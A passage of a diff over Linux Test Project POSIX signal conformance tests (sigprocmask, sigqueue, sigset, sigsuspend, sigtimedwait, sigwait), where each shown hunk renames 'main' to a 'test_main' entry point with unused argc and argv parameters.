a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/15-1.c @@ -14,7 +14,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; sigaddset(&set, SIGABRT); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c index 17e72606..49b709ed 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/17-1.c @@ -16,7 +16,7 @@ #include <stdlib.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; int r, i, fails = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/4-1.c index fac3229f..8506b918 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/4-1.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; sigset_t blocked_set1, blocked_set2, pending_set; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/5-1.c index d00af5a8..6984831f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/5-1.c @@ -20,7 +20,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; sigset_t blocked_set, pending_set; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/6-1.c index 395a5f40..4241a4c1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/6-1.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; sigset_t set1, set2, pending_set; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/7-1.c index 94c74dd5..2a5e5950 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/7-1.c @@ -21,7 +21,7 @@ #define NUMSIGNALS (sizeof(siglist) / sizeof(siglist[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t oactl, tempset; int i, j, test_failed = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-1.c index fcd5de32..20c43ce9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-1.c @@ -53,7 +53,7 @@ static int is_changed(sigset_t set, int sig) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t actl, oactl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-2.c index 0e36a6b3..63ca66e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-2.c @@ -54,7 +54,7 @@ static int is_changed(sigset_t set, int sig) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t actl, oactl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-3.c index 58b06e87..10e14f4a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/8-3.c @@ -53,7 +53,7 @@ static int is_changed(sigset_t set, int sig) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t actl, oactl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/9-1.c index ef197e53..bf9b4ef4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigprocmask/9-1.c @@ -36,7 +36,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; sigset_t blocked_set1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/1-1.c index e456c482..1351ade1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/1-1.c @@ -38,7 +38,7 @@ static void myhandler(int signo, siginfo_t *info, void *context PTS_ATTRIBUTE_UN } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/10-1.c index 0281ac96..502f62eb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/10-1.c @@ -20,7 +20,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int failure = 0; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/11-1.c index 9052296e..9399cc6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/11-1.c @@ -20,7 +20,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int failure = 0; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c index ed1ee883..1add2843 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/12-1.c @@ -54,7 +54,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int failure = 0; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-1.c index 4733e5e0..eb34ba1f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-1.c @@ -19,7 +19,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { union sigval value; value.sival_int = 0; /* 0 is just an arbitrary value */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-2.c index c0ec6e09..36d5d16e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/2-2.c @@ -28,7 +28,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int failure = 0; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c index 3867f43f..7e6b939d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/3-1.c @@ -57,7 +57,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c index a38fa7a4..b6bc3800 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/4-1.c @@ -38,7 +38,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, counter++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, i; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c index 87e997d8..8759392b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/5-1.c @@ -36,7 +36,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) counter++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, i; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c index 25b7ac67..459066ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/6-1.c @@ -49,7 +49,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c index fac11ea4..01f8db5a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/7-1.c @@ -43,7 +43,7 @@ static void myhandler(int signo, siginfo_t *info PTS_ATTRIBUTE_UNUSED, } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, rtsig; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c index e7d1ec80..26ba7841 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/8-1.c @@ -39,7 +39,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, counter++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, i; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c index e170046e..a6b4cbfb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/9-1.c @@ -53,7 +53,7 @@ static int reset_uid(void) return -1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid = getpid(); int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c index 60d0a95c..da558509 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/1-1.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct timespec signal_wait_ts = {0, 100000000}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c index 9aad5687..70b1f9a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/2-1.c @@ -13,7 +13,7 @@ #include <signal.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigrelse(SIGABRT) != 0) { perror("Sigrelse failed"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c index dfd29eb7..726f7292 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigrelse/3-1.c @@ -26,7 +26,7 @@ static const int sigs[] = {-1, -10000, INT32_MIN, INT32_MIN + 1}; #define NUMSIGNALS (sizeof(sigs) / sizeof(sigs[0])) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, ret, err = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c index 80dfdf32..687e12b3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/1-1.c @@ -31,7 +31,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c index 6e8e4aa0..be590e1b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/10-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigset(SIGKILL, SIG_IGN) == SIG_ERR) { if (errno != EINVAL) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c index a3edbdd6..682db141 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/2-1.c @@ -30,7 +30,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; act.sa_flags = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c index 39e0531c..293532f2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/3-1.c @@ -28,7 +28,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigset(SIGCHLD, myhandler) == SIG_ERR) { perror("Unexpected error while using sigset()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c index 3634caec..6981a97c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/4-1.c @@ -28,7 +28,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sigset(SIGCHLD, myhandler) == SIG_ERR) { perror("Unexpected error while using sigset()"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c index 1b91717c..73e38503 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/5-1.c @@ -54,7 +54,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t mask; sigemptyset(&mask); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c index 25c4f16a..058c5c6d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/6-1.c @@ -32,7 +32,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("SIGCHLD called. Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t pendingset; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c index d4082cc4..f06d32a3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/7-1.c @@ -39,7 +39,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t pendingset; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c index 10921d5d..53dc2e3a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/8-1.c @@ -18,7 +18,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t st; sigemptyset(&st); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c index 4e5d74e8..44c167bf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigset/9-1.c @@ -21,7 +21,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("SIGUSR1 called. Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; act.sa_flags = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c index 7076f1b8..1b1a81ef 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/1-1.c @@ -67,7 +67,7 @@ static void handler(int signo) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; pid = fork(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/3-1.c index 001ff0ab..24b7a679 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/3-1.c @@ -29,7 +29,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; pid = fork(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c index b3b0c4c1..b4540f3b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/4-1.c @@ -71,7 +71,7 @@ static int is_changed(sigset_t set, int sig) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; pid = fork(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/6-1.c index 72761079..d3f92d01 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigsuspend/6-1.c @@ -30,7 +30,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Now inside signal handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; pid = fork(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c index 78575129..68b57ec9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/1-1.c @@ -53,7 +53,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c index 4677a12e..87b50da8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/2-1.c @@ -54,7 +54,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c index c3cd42f1..2b616d63 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/4-1.c @@ -31,7 +31,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c index 9496764e..0717af5d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/5-1.c @@ -47,7 +47,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c index ac5eee49..b7319175 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigtimedwait/6-1.c @@ -49,7 +49,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/1-1.c index 95f2ecfc..1378e65a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/1-1.c @@ -19,7 +19,7 @@ * 4) Verify this process will return when the signal is sent. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t newmask, pendingset; int sig; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/2-1.c index b77f0763..632097fc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/2-1.c @@ -26,7 +26,7 @@ * 6) Verify that there are no more instances for SIGRTMIN in the pending list. * */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t newmask, pendingset; int sig; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/3-1.c index a32fe73f..80d30476 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/3-1.c @@ -24,7 +24,7 @@ * */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t newmask, pendingset; int sig; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/4-1.c index 46190204..af532acf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/4-1.c +++ 